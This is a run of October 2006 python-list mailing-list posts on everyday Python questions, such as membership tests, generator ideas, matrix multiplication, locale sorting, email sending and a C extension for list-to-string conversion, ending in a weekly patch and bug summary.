NOSPAMgmail.com Fri Oct 6 10:24:34 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Fri, 06 Oct 2006 14:24:34 GMT Subject: How do I put % in a format sting? In-Reply-To: References: Message-ID: Carsten Haese wrote: > While I wholeheartedly agree with the sentiment, calling the "?" a > formatter only blurs the already blurred distinction between string > formatting and parameter passing. The "?" is a parameter placeholder. Yeah, you're right. I was actually raising an eyebrow as I typed "formatter", because I wasn't sure what to call it. :) From eldiener_no_spam_here at earthlink.net Tue Oct 10 08:41:52 2006 From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam) Date: Tue, 10 Oct 2006 12:41:52 GMT Subject: Python component model In-Reply-To: <7xlknotwuy.fsf@ruckus.brouhaha.com> References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> <1160467516.602655.169920@c28g2000cwb.googlegroups.com> <7xlknotwuy.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > "Nick Vatamaniuc" writes: >> Python does not _need_ a component model just as you don't _need_ a RAD >> IDE tool to write Python code. The reason for having a component model >> or a RAD IDE tool is to avoid writing a lot of boiler plate code. > > It's also so that applications written in differing languages can call > each other. That's a possible reason, but with JavaBeans and EJBs for Java there is just a single language and I am sure there are many Java programmers who enjoy using Eclipse, NetBeans, or JBuilder to name a few RAD IDEs which allow them to create their applications using a design-time visual environment. From oliphant.travis at ieee.org Wed Oct 4 16:42:20 2006 From: oliphant.travis at ieee.org (Travis Oliphant) Date: Wed, 04 Oct 2006 14:42:20 -0600 Subject: switching to numpy and failing, a user story In-Reply-To: <1159984398.088012.209640@k70g2000cwa.googlegroups.com> References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com> <1159984398.088012.209640@k70g2000cwa.googlegroups.com> Message-ID: greg.landrum at gmail.com wrote: > Travis E. Oliphant wrote: > > > Given the quality of python's (free) documentation and how good it's > been for a very long time, it's bit ironic to be using the phrase > "normal open-source documentation" on this mailing list. Numeric > python, which numpy aspires to be a replacement for, has perfectly > reasonable documentation. And it is still perfectly useful. Only a couple of details have changed. The overall description is still useful. It wasn't perfect, but it told you pretty > much everything you needed to know to get started, use the system, and > build extension modules. I guess this set my expectations for NumPy. > This documentation was written largely due to funding from a national laboratory. I didn't have those resources. If somebody wanted to step up to the plate and make me an offer, the NumPy docs could be free as well. So far, people have been content to buy it a piece at a time. > > "Ask on the mailing lists" is viable for the occasional question or > detail, but it's not really an efficient way to get started with a > system. At least not for me. But that's fine, I have something that > works (numeric), and I can do what I need to do there. Absolutely, that's the advantage of open source. If the world moves a head you don't *have* to. It's entirely your choice. There is no lock-in. -Travis From egbert.bouwman at hccnet.nl Fri Oct 20 09:25:55 2006 From: egbert.bouwman at hccnet.nl (egbert) Date: Fri, 20 Oct 2006 15:25:55 +0200 Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: <20061020132555.GA9779@hccnet.nl> > > John Salerno wrote: > >> I'm not steeped enough in daily programming to argue that it isn't > >> necessary, but my question is why do you need to reverse strings? Is it > >> something that happens often enough to warrant a method for it? String reversal comes in handy when you do palindromes. -- Egbert Bouwman - Keizersgracht 197 II - 1016 DS Amsterdam - 020 6257991 ======================================================================== From ptmcg at austin.rr._bogus_.com Sun Oct 22 12:21:06 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Sun, 22 Oct 2006 16:21:06 GMT Subject: implementation of "in" that returns the object. References: Message-ID: "Jorge Vargas" wrote in message news:mailman.939.1161527588.11739.python-list at python.org... > Hi > > I need to check if an object is in a list AND keep a reference to the > object I have done it this way but is there a better one? > >>>> def inplusplus(value,listObj): > ... for i in listObj: > ... if i is value: > ... return value > ... return False > ... >>>> l = [1,2,3,4] >>>> print inplusplus(2,l) > 2 >>>> print inplusplus(9,l) > False >>>> print inplusplus(1,l) > 1 >>>> l.append(0) >>>> print inplusplus(0,l) > 0 Just a couple of quick comments: 1. "if i is value" will check for identity, not equality. Your example with small integers relies on a nonportable CPython implementation of using cached objects. Check out this behavior: >>> def inplusplus(value,listObj): ... for i in listObj: ... if i is value: ... return value ... return False ... >>> a = 5 >>> lst = [ 1,3,5,7 ] >>> inplusplus(5,lst) 5 >>> inplusplus(a,lst) 5 >>> lst.append( 123456789 ) >>> inplusplus( 123456789,lst) False Instead of this loopy "is" test, just use "in": >>> def inplusplus(value,listObj): ... if value in listObj: return value ... return False ... >>> inplusplus( 123456789,lst) 123456789 2. What happens if "False" is in the list? How would you know? -- Paul From MonkeeSage at gmail.com Tue Oct 3 04:13:11 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 3 Oct 2006 01:13:11 -0700 Subject: I need Cryptogrphy in Python please . References: <1159862169.318561.314620@k70g2000cwa.googlegroups.com> Message-ID: <1159863191.600082.78980@c28g2000cwb.googlegroups.com> NicolasG wrote: > I have installed .NET framework latest release. The SDK is different from the framework. ;) > Can some one guide me how to fix the problem above or point me to > another Cyrptography library that I can use easily ? Prebuilt binaries: http://www.voidspace.org.uk/python/modules.shtml#pycrypto Ps. The project still looks active to me, and has an active mailing list: http://www.amk.ca/python/code/crypto.html Regards, Jordan From maric at aristote.info Thu Oct 5 10:59:59 2006 From: maric at aristote.info (Maric Michaud) Date: Thu, 5 Oct 2006 16:59:59 +0200 Subject: Subclassing built-in classes In-Reply-To: References: <1160048997.394218.3760@c28g2000cwb.googlegroups.com> <200610051441.54455.maric@aristote.info> Message-ID: <200610051700.00482.maric@aristote.info> Le jeudi 05 octobre 2006 15:52, Steve Holden a ?crit?: > > But what prevents to interpret literals as a call to __builtins__ objects > > and functions ? optimization ? what else ? > > > When are literals interpreted? During translation into bytecode. agreed, but what's the problem with this ? We can actually monkey patch all buitins like in this example : In [1]: oldstr=str In [2]: class mystr(str) : ...: def __new__(*a, **kw) : ...: print 'called : ', a, kw ...: return oldstr.__new__(*a, **kw) ...: ...: In [3]: import __builtin__ In [4]: __builtin__.str = mystr called : (, ) {} called : (, 5) {} ... If the generated bytecode of {k:v} is more or less the same as the one gernerated by dict(((k,v))), monkey patching dict will work for dict literals too. Also, this should work with scalars, 'a string' be translated in what actually is produced by str('a string') (of course the internal code for building scalars should still be there). If that is feasible without big refactoring and do not introduce noticeable performance loss is what I don't know, but it could be a nice feature of __builtin__ module IMO (at less I expected it to work like this when I first tried it). -- _____________ Maric Michaud _____________ Aristote - www.aristote.info 3 place des tapis 69004 Lyon Tel: +33 426 880 097 From http Thu Oct 26 03:03:48 2006 From: http (Paul Rubin) Date: 26 Oct 2006 00:03:48 -0700 Subject: iterator idea Message-ID: <7xiri7mucr.fsf_-_@ruckus.brouhaha.com> I wonder if Python would benefit from letting a generator jump to another iterator, i.e. something like yield return *seq would be the equivalent of for s in seq: yield s return except that it would work by transferring control directly to seq's iterator (like a goto) instead of calling it like a subroutine. The idea is to solve one of the perennial iterator annoyances, the inability to push items back on an iterator. For example, the annoyance means itertools.takewhile consumes an extra element with no reasonable way to retrieve it. The new feature would let us write something like (obviously untested): def takewhile_exact (pred, seq): """return two iterators (head,tail). head is the same as itertools.takewhile(pred,seq). tail is the rest of the elements of seq, with none missing. You can't use tail until you've iterated through head.""" buf = [] def head(): for s in seq: if pred(s): yield s # save non-matching item so that tail can find it buf.append(s) def tail(): if not buf: raise IndexError, "not yet ready" yield buf.pop() yield return *seq # transfer control to seq return head(), tail() The reason tail() can't just iterate through seq is that you might call takewhile_exact many times: def is_even(n): return (n%2 == 0) def is_odd(n): return (n%2 != 0) # we want to do something with all the runs of even numbers # in the sequence, and similarly with the odds. seq is an # infinite sequence. while True: evens, seq = takewhile_exact(is_even, seq) do_something_with (evens) odds, seq = takewhile_exact(is_odd, seq) do_something_else_with (odds) Without the "goto"-like transfer, we'd get deeper and deeper in nested iterators and eventually overflow the call stack. From tuomas.vesterinen at pp.inet.fi Sun Oct 22 14:03:24 2006 From: tuomas.vesterinen at pp.inet.fi (Tuomas) Date: Sun, 22 Oct 2006 18:03:24 GMT Subject: pylint: What's wrong with the builtin map() Message-ID: #!/usr/bin/python """test pydev_0.9.3/../pylint""" __revision__ = "test_mod 0.1 by TV 06/10/22" lst = ['aaa', ' bbb', '\tccc\n'] lst = map(lambda x: x.strip(), lst) result = """ No config file found, using default configuration ************* Module test_mod W: 6: Used builtin function 'map' E: 6: Using variable 'x' before assigment ... """ From rrr at ronadam.com Wed Oct 18 03:03:26 2006 From: rrr at ronadam.com (Ron Adam) Date: Wed, 18 Oct 2006 02:03:26 -0500 Subject: Flexable Collating (feedback please) In-Reply-To: <35kZg.6681$fl.2685@dukeread08> References: <35kZg.6681$fl.2685@dukeread08> Message-ID: Fixed... Changed the collate() function to return None the same as sort() since it is an in place collate. A comment in _test() doctests was reversed. CAPS_FIRST option puts words beginning with capitals before, not after, words beginning with lower case of the same letter. It seems I always find a few obvious glitches right after I post something. ;-) Cheers, Ron From mrmakent at cox.net Thu Oct 26 16:07:26 2006 From: mrmakent at cox.net (Mike Kent) Date: 26 Oct 2006 13:07:26 -0700 Subject: conditional computation References: Message-ID: <1161893246.184899.169330@h48g2000cwc.googlegroups.com> robert wrote: > I want to use a computation cache scheme like > > > o = CACHECOMPUTE complex-key-expr expensive-calc-expr > > > frequently and elegantly without writing complex-key-expr or expensive-calc-expr twice. > So its ugly: > > _=complex-key-expr; o=cache.get(_) or cache.setdefault(_,expensive-calc-expr) > > Any ideas? > > -robert Your question is a bit terse, so my answer might not be spot on for it, but it sounds like you want what is typically called 'memoization', whereby a function caches its expensive-to-calculate return values, where the cache is keyed by the function arguments. See: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52201 and various other implimentations in the Cookbook for details. From reivax85 at gmail.com Wed Oct 18 13:01:24 2006 From: reivax85 at gmail.com (Sssasss) Date: 18 Oct 2006 10:01:24 -0700 Subject: matrix Multiplication In-Reply-To: References: <1161170249.549988.260870@m73g2000cwd.googlegroups.com> Message-ID: <1161190884.006600.77140@m7g2000cwm.googlegroups.com> Roberto Bonvallet wrote: > Sssasss wrote: > > hi evrybody! > > > > I wan't to multiply two square matrixes, and i don't understand why it > > doesn't work. > > Could you explain me? > > > > def multmat(A,B): > > "A*B" > > if len(A)!=len(B): return "error" > > Wrong validation here: you _can_ multiply two matrices with a different > number of rows! And instead of returning "error" you should raise an > exception. > > [...] > > I suggest using a linear algebra package, but if you insist in using lists > of lists: > > >>> b = [[1, 2, 3, 4], > ... [4, 5, 6, 7], > ... [7, 8, 9, 10]] > >>> > >>> a = [[1, 2, 3], > ... [4, 5, 6]] > >>> > >>> ab = [[sum(i*j for i, j in zip(row, col)) for col in zip(*b)] for row in a] > >>> ab > [[30, 36, 42, 48], [66, 81, 96, 111]] > > Straightforward from the definition of matrix multiplication. > -- > Roberto Bonvallet Thank you, this one is very short! yes of course we can multiply different kinds of matrices, bu since I'm starting with python i started with something quick. ciao From deets at nospam.web.de Thu Oct 5 15:57:37 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Thu, 05 Oct 2006 21:57:37 +0200 Subject: Request for recommendations: shared database without a server In-Reply-To: <1160077602.190028.286290@h48g2000cwc.googlegroups.com> References: <1160077602.190028.286290@h48g2000cwc.googlegroups.com> Message-ID: <4ol6dhFf62gdU1@uni-berlin.de> > -- A database application on a network drive > -- A variety of users will access the database application at various > times > -- All computing is done on the client machines (Windows XP), as there > is no server > -- I'll not be able to install a database program, or Python, on the > client machines This pretty much leaves you out of any options - and contradicts your last paragraph. > While this seems just the sort of application servers were designed > for, the absence of a server is a firm constraint (no technological > reason, just an arbitrary wall of infinite height) > > I currently have some of the required database tables populated in > MySQL, but I can migrate them as long as I have SQL capabilities in the > new database. > > Can I get there with MySQL? Or do I need to pair a pure python > approach (including the database) with py2exe? Has anyone achieved > this with a db framework like Dabo? Or is there another, entirely > different and better approach? > > > The common wisdom around the halls is to just use MS Access, because > apparently everyone has that on their client machines, or can be > asked/expected to install it. That's not my preference, but I need to > forget my biases, be pragmatic and get the application done. Access might really be the best solution. It is pretty good for what it is supposed to do, and the quick prototyping and UI-designing are strong arguments for it, especially if there already is a bias towards it. I also _think_ that the whole "db on a shared volume" thing works comparably neat. However, there _can_ situations arise where it might get corrupted, as e.g. file locking on a network share isn't as reliable as one wants it to be - so if you do anything to tear down some infinite walls, try it. Diez From bignose+hates-spam at benfinney.id.au Wed Oct 4 21:50:30 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Thu, 05 Oct 2006 11:50:30 +1000 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> <45240E19.3040000@v.loewis.de> <87lknvelb3.fsf@benfinney.id.au> Message-ID: <87d597edjt.fsf@benfinney.id.au> "Terry Reedy" writes: > "Ben Finney" wrote: > > I don't see why you're being so obtuse > I think name calling is out of line here. So do I, which is why I addressed observed actions instead. -- \ "I got a postcard from my best friend, it was a satellite | `\ picture of the entire Earth. On the back he wrote, 'Wish you | _o__) were here'." -- Steven Wright | Ben Finney From johnjsal at NOSPAMgmail.com Fri Oct 13 16:20:15 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Fri, 13 Oct 2006 16:20:15 -0400 Subject: wing ide vs. komodo? In-Reply-To: References: <2nRXg.108$1n3.2866@news.tufts.edu> <18SXg.27347$Go3.9933@dukeread05> Message-ID: <452ff5e4$0$1771$c3e8da3@news.astraweb.com> Theerasak Photha wrote: > On 10/13/06, hg wrote: > >> I have spend the past two years with eclipse/pydev ... a few issue are >> still troublesome to me (speed, search for definitions ... being a few >> of them) ... and until two days ago I had not even looked at Wing as I >> wrongly thought it was on Windoze-based. But I must must admit I am >> impressed - yet I feel it would be stupid to not look carefully at >> Komodo ... hence my questions. > > I haven't used Komodo personally. I like Emacs. However: > > 1) *Appearing* sparse doesn't mean much---Emacs 22's GTK interface > 'looks' sparse as well, and sparse is the last word that comes to mind > when I think of Emacs > 2) I've *heard* good things about Komodo before from others---it might > just be awesome > > Perhaps you could try the Eric IDE? I hear SPE is not in active > dev.--- a pity to be sure, but I have used Eric before and found it > pretty easy to use and featureful. > > -- Theerasak Is Eric available for Windows? I have found the install files before, but they looked like it was for Linux. From hanumizzle at gmail.com Fri Oct 13 16:42:52 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Fri, 13 Oct 2006 16:42:52 -0400 Subject: wing ide vs. komodo? In-Reply-To: <452ff5e4$0$1771$c3e8da3@news.astraweb.com> References: <2nRXg.108$1n3.2866@news.tufts.edu> <18SXg.27347$Go3.9933@dukeread05> <452ff5e4$0$1771$c3e8da3@news.astraweb.com> Message-ID: <463ff4860610131342k75859718rb9149c3783ed037b@mail.gmail.com> On 10/13/06, John Salerno wrote: > Is Eric available for Windows? I have found the install files before, > but they looked like it was for Linux. You need QScintilla IIRC, but: http://www.die-offenbachs.de/detlev/eric3-testimonials.html "Eric is becoming an integral part of our Python development here at Fluent. It's ability to set and trigger breakpoints in any thread is unlike any other Python debugger we have tried. Through Eric's easy to use interface and tight integration with PyQt, it has helped reduce our debugging time, particularly on Windows platforms where it is used heavily." --- Andrew Bushnell, Fluent Inc. So yeah. Good luck w/ it then, whatever your choice. -- Theerasak From fdu.xiaojf at gmail.com Mon Oct 16 05:04:19 2006 From: fdu.xiaojf at gmail.com (fdu.xiaojf at gmail.com) Date: Mon, 16 Oct 2006 17:04:19 +0800 Subject: How to send E-mail without an external SMTP server ? In-Reply-To: <1160984719.088664.76350@e3g2000cwe.googlegroups.com> References: <1160981517.845397.173540@h48g2000cwc.googlegroups.com> <1160984719.088664.76350@e3g2000cwe.googlegroups.com> Message-ID: <45334B13.1050604@gmail.com> Leo Kislov wrote: >> >> Do I have to setup a smtp server on my localhost ? >> > > You need to use login method > . And by the way, the > subject of your message is very confusing, you are posting log where > you're sending email using external server. > > Thanks. Yes, I want to find a way to send email without an external smtp server. According to Rob's reply, I thought this could be implemented as described in the example code of "SMTP Example" on "http://docs.python.org/lib/SMTP-example.html". So I tried the code, but failed. Actually I was writing a script that can submit jobs automatically on a remote server. I should not submit the jobs all at once, because this will take up all resources of the server. I just want a specified number of jobs to be running at one time. If one jobs is over, the script should submit another job. I run the script with nohup, then I logout. The script will take care of all jobs. But I have to check the status of the script manually, which is very inefficient. So I want to be informed automatically by E-mail when all jobs are done. It's not safe if I have to use login method explicitly by which I have to put my username and password in the script. I have also tried the Unix command 'mail', but without success, either. I could use 'mail' to send an E-mail to the user on the server, but I couldn't send an E-mail to an external E-mail server. I realized that it may because the port 25 outgoing connections are blocked, so I gave up. I will have to login periodically to check the status of the jobs:-( Anyway, thank you, Rob, and thank you, Leo. xiaojf From tuomas.vesterinen at pp.inet.fi Mon Oct 16 17:39:55 2006 From: tuomas.vesterinen at pp.inet.fi (Tuomas) Date: Mon, 16 Oct 2006 21:39:55 GMT Subject: Alphabetical sorts In-Reply-To: References: <4aQYg.6347$fl.1193@dukeread08> Message-ID: My application needs to handle different language sorts. Do you know a way to apply strxfrm dynamically i.e. without setting the locale? Tuomas Neil Cerutti wrote: > On 2006-10-16, Ron Adam wrote: > >>I have several applications where I want to sort lists in >>alphabetical order. Most examples of sorting usually sort on >>the ord() order of the character set as an approximation. But >>that is not always what you want. > > > Check out strxfrm in the locale module. > > >>>>a = ["Neil", "Cerutti", "neil", "cerutti"] >>>>a.sort() >>>>a > > ['Cerutti', 'Neil', 'cerutti', 'neil'] > >>>>import locale >>>>locale.setlocale(locale.LC_ALL, '') > > 'English_United States.1252' > >>>>a.sort(key=locale.strxfrm) >>>>a > > ['cerutti', 'Cerutti', 'neil', 'Neil'] > From limodou at gmail.com Tue Oct 17 03:48:35 2006 From: limodou at gmail.com (limodou) Date: Tue, 17 Oct 2006 15:48:35 +0800 Subject: How to paras such echo string effection? In-Reply-To: <8c8dcbe30610170044m19c93c2em79dc38694cd44fd8@mail.gmail.com> References: <8c8dcbe30610170044m19c93c2em79dc38694cd44fd8@mail.gmail.com> Message-ID: <505f13c0610170048y23dcb949wa1efef84b4bcad03@mail.gmail.com> On 10/17/06, Kevien Lee wrote: > Hi everyone, > > When i decide to paras a string,which return from running a CVS command,it's > amaze that i want to get some file of the echo string ,how to make paras > process more effect? > > the problem detail as follow that: > > run command:"cvs status -r" it will return all the file list in as follow? > > > > =================================================================== > File: file01.xls Status: Up-to-date > > Working revision: 1.1 > Repository revision: 1.1 /msg/file01.xls,v > Sticky Tag: (none) > Sticky Date: (none) > Sticky Options: -kb > > cvs status: Examining 20060815 > =================================================================== > File: file02.xls Status: Up-to-date > > Working revision: 1.1 > Repository revision:/msg/file02.xls ,v > Sticky Tag: (none) > Sticky Date: (none) > Sticky Options: -kb > > cvs status: Examining 20060816 > =================================================================== > > > Now ,i just what to know the file of "Status",if paras all should be > > coast expenses,is there any effect way? > > PS:is there any python lib for CVS ? > > I think you can use regular expression to match the Status. Or simple find 'File' and 'Status' substring, and get the result. -- I like python! UliPad <>: http://wiki.woodpecker.org.cn/moin/UliPad My Blog: http://www.donews.net/limodou From bruno at modulix.org Sat Oct 7 09:10:08 2006 From: bruno at modulix.org (bruno de chez modulix en face) Date: 7 Oct 2006 06:10:08 -0700 Subject: error handling in user input: is this natural or just laborious In-Reply-To: <1160165545.417968.276460@b28g2000cwb.googlegroups.com> References: <1160165545.417968.276460@b28g2000cwb.googlegroups.com> Message-ID: <1160226608.508743.173400@e3g2000cwe.googlegroups.com> sam a ?crit : (snip) > i'm still in the early stages, and am trying to code something simple > and interactive to get the percentages of the portfolio in the five > different investment categories. i thought i'd get in with the error > handling early so if someone types in something wrong (like a word), or > the numbers don't add up to 100%, the error would be caught immediately > and the user sent back to the start of the loop. (snip) You may want to have a look at the formencode package. While mostly used in web apps, it's perfectly usable for all kind of python<->outside world data conversion/validation. HTH From michele.simionato at gmail.com Wed Oct 4 08:40:02 2006 From: michele.simionato at gmail.com (Michele Simionato) Date: 4 Oct 2006 05:40:02 -0700 Subject: string: __iter__()? In-Reply-To: <7e8bf$452385eb$506d0b9f$12642@news.chello.at> References: <7e8bf$452385eb$506d0b9f$12642@news.chello.at> Message-ID: <1159965601.962420.156830@e3g2000cwe.googlegroups.com> mrquantum wrote: > Hello! > > Just for curiosity i'd like to know why strings don't support the > iteration protocoll!? Is there some deeper reason for this? > > >>> hasattr('SomeString', '__iter__') > False > > In Python 2.5 it's actually simple to obtain one: > > >>> myIter = (c for c in 'SomeString') > >>> myIter.next() > 'S' > > Thanks for info! > > Chris Well, I see it as a feature. Typically I want to consider a string as an atomic object (and not as a sequence of characters) and I can check hasattr(obj, '__iter__') to distinguish (for instance) a list of strings from a single string (typically in recursive algorithms working on texts). Michele Simionato From tomas at fancy.org Tue Oct 10 20:48:02 2006 From: tomas at fancy.org (Tom Plunket) Date: Tue, 10 Oct 2006 17:48:02 -0700 Subject: C++ to Python? References: <6110AB6F-D20C-4F12-9347-B7FB64930329@comcast.net> <7465b6170610101255i4569613nfb41424225d60446@mail.gmail.com> <1B0B405F-56A9-4A41-B5C8-DA6E04248B1E@comcast.net> Message-ID: <8naoi2plnvti43ptniqhq60gkdv7n64ahq@4ax.com> Roman Yakovenko wrote: > you want to find some kind of "translator" > > C++ code: > std::cout << 1; > translator output: > print 1 > > Am I right? If so, I am pretty sure that such "translator" does not > exist - too complex. ...however such a "refactor" is easy for a human to do. What the OP could do is read up on wrapping the C++ API, and then do the "change language refactor" incrementally per source file. Even for a large application, if you had the whole C++ API wrapped so it was accessible via Python, it'd be fairly straight-forward and perhaps even easy. Heck, you could even write a quickie conversion utility that converted the top-level C++ syntax into Python syntax to get 90% of the way there. Even a quickie: def ConvertBraces(filename): lines = file(filename).readlines() indent = 0 for line in lines: stripped = line.strip() if stripped == '{': indent += 1 print ':', elif stripped == '}': indent -= 1 print '\n', '\t'*indent, 'pass\n' elif: print '\n', '\t'*indent, stripped files = glob.glob('*.cpp') for f in files: ConvertBraces(f) ...that may well get you started. ;) For fancy stuff like comment matching I'll suggest the re library. -tom! From fredrik at pythonware.com Thu Oct 26 07:33:50 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 26 Oct 2006 13:33:50 +0200 Subject: Error to be resolved References: <1161861560.979401.29710@m73g2000cwd.googlegroups.com> Message-ID: Arun Nair wrote: > self.rank = rank > self.rank = ["None","Clubs","Diamonds","Hearts","Spades"] hint: what's "self.rank" after you've executed the above? From fredrik at pythonware.com Fri Oct 27 07:26:10 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 27 Oct 2006 13:26:10 +0200 Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com><1161803802.110116.127470@m7g2000cwm.googlegroups.com><7xvem8gq22.fsf@ruckus.brouhaha.com><1161804934.010376.151330@f16g2000cwb.googlegroups.com><453FD3AF.4040800@v.loewis.de><1161812827.596356.316450@f16g2000cwb.googlegroups.com><1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: Antoon Pardon wrote: >> since you never publish any code, > > This is not True. You shouldn't confuse your lack of recollection > with reality. pointers, please. From MonkeeSage at gmail.com Wed Oct 11 00:56:32 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 10 Oct 2006 21:56:32 -0700 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: References: <1160269607.522241.311160@m73g2000cwd.googlegroups.com> <1160455280.118212.202770@b28g2000cwb.googlegroups.com> Message-ID: <1160542591.977237.290640@k70g2000cwa.googlegroups.com> On Oct 10, 1:57 am, Steve Holden wrote: > I think we'll just have to agree to differ in this repsecrt, as I don't > see your suggestions for extending the sequence API as particularly > helpful. No worries. :) On Oct 10, 11:22 am, Fredrik Lundh wrote: > so to "improve" a piece of code that's been optimized for the common > case, you're adding an extra method call and a test to the inner loop? > > and this because you think Python programmers don't understand try- > except statements ? Uh, yeah, "You're all idiots and I'm not really a 'Python Programmer'(TM)" -- that's exactly what I was meaning to say. I'm suprised your telepathic powers let you pick up on that, since I didn't say anything that could even remotely be construed that way. Freaky. And, FWIW, the "optimized" version is not much faster than that put forth by the stupid peon (me), even when my suggestion is implemented in pure python: $ cat test.py import timeit ary = ['blah'] * 10 def has_index(seq, idx): return idx < len(seq) def at(seq, idx): if has_index(seq, idx): return seq[idx] def t1(): while 1: try: for i in range(11): ary[i] except IndexError: break def t2(): go = True while go: for i in range(11): if has_index(ary, i): ary[i] else: go = False def t3(): go = True while go: for i in range(11): val = at(ary, i) if val: val else: go = False print 't1 time:' print timeit.Timer('t1()', 'from __main__ import t1').timeit() print 't2 time:' print timeit.Timer('t2()', 'from __main__ import t2').timeit() print 't3 time:' print timeit.Timer('t3()', 'from __main__ import t3').timeit() $ python test.py t1 time: 15.9402189255 t2 time: 18.6002299786 t3 time: 23.2494211197 > I think we can all safely ignore you now. You could have done that all along. I'm no Max Planck, and this isn't quantum mechanics. But more interesting than whether it's "safe" to ignore suggestions for improvement is whether its actually beneficial to do so. On Oct 10, 11:35 am, Fredrik Lundh wrote: > > *) insert martelli essay here.for example: > > http://mail.python.org/pipermail/python-list/2003-May/163820.html I don't think this is strictly a question of EAFP vs. LBYL, but more a question of convenience. This very moment in python I can say both "try: d[k] ..." and "if d.has_key[k] / k in d". Regards, Jordan From wdraxinger at darkstargames.de Sat Oct 28 18:29:06 2006 From: wdraxinger at darkstargames.de (Wolfgang Draxinger) Date: Sun, 29 Oct 2006 00:29:06 +0200 Subject: Safely renaming a file without overwriting References: <72sb14-08j.ln1@darkstargames.dnsalias.net> Message-ID: Steven D'Aprano wrote: > Open "the" file? There are potentially two files -- the source > and destination. I only want to do the rename if the > destination *doesn't* exist, so there is no destination file to > open. How will it help me to lock the source file? Have I > misunderstood? I forgot to say, to open the source file with O_CREAT | O_EXCL. The open will fail if the file already exists. By locking the file no other process will be able to access it, but the process that holds the lock can do with it anything. This includes to rename an existing file to the name of the opened one - the previously created placeholder file will get unlinked before, but there is _probably_ no way that any process can intercept this. It is an interesting thing, that files that are opened remain fully usable and accessible if you unlink them as long you don't close them. You have to close it, to remove all remains of it. Wolfgang Draxinger -- E-Mail address works, Jabber: hexarith at jabber.org, ICQ: 134682867 GPG key FP: 2FC8 319E C7D7 1ADC 0408 65C6 05F5 A645 1FD3 BD3E From spr299 at ifrance.com Fri Oct 20 06:10:35 2006 From: spr299 at ifrance.com (spr) Date: Fri, 20 Oct 2006 12:10:35 +0200 Subject: list2str and performance Message-ID: <4538a09f$0$2517$426a74cc@news.free.fr> Hi, I'm trying to learn Python and I'd appreciate any comments about my small snippets of code. I read an old anecdote about performance here: http://www.python.org/doc/essays/list2str/ First, I tried to figure out what would be the most pythonic approach by today's standards: def ListToStr(l): """Convert a list of integers into a string. """ return "".join([chr(n) for n in l]) def StrToList(s): """Convert a string into a list of integers. """ return [ord(c) for c in s] By the way, using a generator expression in this case seem a bit slower than a list comprehension and I'm not sure why. I tried to improve the performance with Psyco and it became about 6 times as fast just for free. Then, I quickly tried Pyrex but I didn't feel comfortable with using a dialect. So I trying Boost.Python, and as I optimized the code it became more and more C-ish. The result is this: // Convert a list of integers into a string. PyObject* ListToStr(const boost::python::list& l) { PyObject* s; Py_BEGIN_ALLOW_THREADS const size_t length = PyList_GET_SIZE(l.ptr()); // Couldn't find a function for allocating a PyString from scratch. s = (PyObject*)_PyObject_NewVar(&PyString_Type, length); ((PyStringObject*)s)->ob_shash = -1; ((PyStringObject*)s)->ob_sstate = SSTATE_NOT_INTERNED; ((PyStringObject*)s)->ob_sval[((PyStringObject*)s)->ob_size] = '\0'; char* s_items = PyString_AS_STRING(s); char* ps = s_items, *ps_end = ps + length; PyIntObject** pl = (PyIntObject**)((PyListObject*)l.ptr())->ob_item; while (ps < ps_end) { *ps++ = (char)(*pl++)->ob_ival; } Py_END_ALLOW_THREADS return s; } // Convert a string into a list of integers. PyObject* StrToList(const boost::python::str& s) { PyObject* l; Py_BEGIN_ALLOW_THREADS const size_t length = PyString_GET_SIZE(s.ptr()); l = PyList_New(length); PyObject** pl = ((PyListObject*)l)->ob_item, **pl_end = pl + length; unsigned char* ps = (unsigned char*)PyString_AS_STRING(s.ptr()); while (pl < pl_end) { *pl++ = PyInt_FromLong(*ps++); } Py_END_ALLOW_THREADS return l; } Is it safe here to use Py_BEGIN_ALLOW_THREADS and Py_END_ALLOW_THREADS? On my machine this is about 50 times as fast as plain Python, but is this as fast as it can get? When performance matters and you have to develop a CPU-bound application, do you think it is possible to eventually achieve nearly the best performance by extending Python with C or C++ modules, or is it better to take the embedding approach, that is, use a C or C++ core that calls Python scripts? From kbk at shore.net Thu Oct 26 21:30:00 2006 From: kbk at shore.net (Kurt B. Kaiser) Date: Thu, 26 Oct 2006 21:30:00 -0400 (EDT) Subject: Weekly Python Patch/Bug Summary Message-ID: <200610270130.k9R1U0NN007852@bayview.thirdcreek.com> Patch / Bug Summary ___________________ Patches : 434 open ( +3) / 3430 closed ( +5) / 3864 total ( +8) Bugs : 929 open (+13) / 6285 closed (+12) / 7214 total (+25) RFE : 245 open ( +1) / 240 closed ( +0) / 485 total ( +1) New / Reopened Patches ______________________ various datetime methods fail in restricted mode (2006-10-17) http://python.org/sf/1578643 opened by lplatypus PyErr_Format corrections (2006-10-17) http://python.org/sf/1578999 opened by Martin v. L?wis posix.readlink doesn't use filesystemencoding (2006-10-19) http://python.org/sf/1580674 opened by Ronald Oussoren Duplicated declaration of PyCallable_Check (2006-10-20) CLOSED http://python.org/sf/1580872 opened by Matthias Klose Allow textwrap to preserve leading and trailing whitespace (2006-10-20) http://python.org/sf/1581073 opened by Dwayne Bailey tarfile.py: 100-char filenames are truncated (2006-10-24) CLOSED http://python.org/sf/1583506 opened by Lars Gust?bel tarfile.py: better use of TarInfo objects with longnames (2006-10-24) http://python.org/sf/1583880 